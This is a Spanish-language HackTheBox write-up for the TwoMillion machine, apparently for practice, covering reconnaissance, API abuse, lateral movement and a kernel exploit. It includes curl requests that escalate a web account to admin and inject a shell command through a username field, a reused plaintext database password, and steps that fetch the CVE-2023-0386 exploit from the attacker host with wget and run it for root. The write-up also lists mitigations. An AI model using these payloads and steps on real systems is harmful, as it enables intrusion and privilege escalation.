HackTheBox - TwoMillion Writeup

Máquina: TwoMillion
Nivel: Medium
Sistema operativo: Linux (Ubuntu 22.04.2 LTS)
Vulnerabilidad principal: API Insecure → RCE → Kernel Exploit (CVE-2023-0386)

---
1. Reconocimiento

Escaneo de puertos con Nmap:

```
nmap -p- --open -T4 -n -v 10.129.138.141 -oG allPorts
```

Resultado:
22/tcp open ssh
80/tcp open http

Escaneo de servicios:

```
nmap -p22,80 -sCV 10.129.138.141 -oN targeted
```

Detectamos:
- OpenSSH 8.9p1 en el puerto 22
- nginx en el puerto 80 → redirige a http://2million.htb/

Nota: agregamos 2million.htb al /etc/hosts.

---
2. Enumeración Web

Analizando http://2million.htb con whatweb se descubren:
- Endpoint /invite
- Archivo ofuscado /js/inviteapi.min.js

Analizando el JS encontramos endpoints ocultos:
- /api/v1/invite/how/to/generate
- /api/v1/invite/generate
- /api/v1/invite/verify

Se obtiene un payload en ROT13 que entrega un invite code válido.

---
3. Explotación de API

Con la sesión PHPSESSID se accede a /api/v1/admin/settings/update:

```
curl -X PUT -b "PHPSESSID=<SESSION>" -H "Content-Type: application/json" -d '{"username":"ivalba","em
```

Ahora el usuario tiene is_admin=1.

Probando inyección de comandos en la generación de VPN:

```
curl -X POST -b "PHPSESSID=<SESSION>" -H "Content-Type: application/json" -d '{"username":";whoami #"
```

Salida: www-data → confirmamos RCE.

---
4. Movimiento lateral → admin

En /var/www/html/.env encontramos:

```
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
```

Accedemos con:

```
su admin
Password: SuperDuperPass123
```

Ya podemos leer user.txt en /home/admin.

---
5. Escalada de privilegios a root

Kernel detectado: 5.15.70-051570-generic Ubuntu 22.04.2 (vulnerable a CVE-2023-0386).

Pasos:
1. En Kali:
   git clone https://github.com/bbaranoff/CVE-2023-0386.git
   zip -r exploit.zip *
   python3 -m http.server 80

2. En la víctima:
   cd /tmp
   wget http://10.10.14.17/exploit.zip
   unzip exploit.zip
   make all

3. Ejecutar en dos terminales:
   ./fuse ./ovlcap/lower ./gc
   ./exp

Obtenemos root.

---
6. Flags

User flag: /home/admin/user.txt
Root flag: /root/root.txt

---
7. Mitigaciones

- Actualizar el kernel a versión parcheada.
- Validar correctamente parámetros en APIs REST.
- No reutilizar contraseñas entre BD y sistema.
- Proteger archivos sensibles (.env) y aplicar principio de menor privilegio.

---
8. Conclusión

TwoMillion combina:
- Reconocimiento web y análisis de JS ofuscado.
- Explotación de API insegura.
- Movimiento lateral con credenciales reutilizadas.
- Escalada de privilegios con exploit de kernel real (CVE-2023-0386).

Una máquina ideal para practicar API abuse, movimiento lateral y privesc en Linux.